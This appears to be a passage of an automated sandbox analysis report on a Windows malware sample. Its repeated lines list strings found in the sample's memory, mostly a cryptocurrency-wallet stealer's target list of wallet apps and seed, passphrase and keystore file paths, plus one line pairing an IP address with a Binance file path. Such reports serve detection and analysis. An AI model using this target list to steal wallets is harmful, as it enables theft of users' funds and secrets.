Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2215514632.000000000177F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81\user\AppData\Roaming\Binance\simple-storage.json
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: j7iUba2bki.exe, 00000000.00000002.2211871328.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia 